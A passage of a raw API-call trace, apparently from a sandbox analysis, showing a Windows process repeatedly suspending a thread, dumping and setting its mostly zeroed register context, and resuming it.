Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0090.380] ResumeThread (hThread=0x130) returned 0x1
[0090.380] CloseHandle (hObject=0x130) returned 1
[0090.380] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.460] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0090.460] SuspendThread (hThread=0x130) returned 0x0
[0090.460] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a95c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0090.543] ResumeThread (hThread=0x130) returned 0x1
[0090.543] CloseHandle (hObject=0x130) returned 1
[0090.544] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.628] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0090.628] SuspendThread (hThread=0x130) returned 0x0
[0090.628] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147690, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b3600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0090.700] ResumeThread (hThread=0x130) returned 0x1
[0090.700] CloseHandle (hObject=0x130) returned 1
[0090.701] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.735] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.842] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.922] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0090.998] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0090.998] SuspendThread (hThread=0x130) returned 0x0
[0090.998] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13ab280, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0091.068] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0091.136] ResumeThread (hThread=0x130) returned 0x1
[0091.136] CloseHandle (hObject=0x130) returned 1
[0091.137] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.171] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.239] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.322] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0091.399] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0091.399] SuspendThread (hThread=0x130) returned 0x0
[0091.399] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12ede60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, 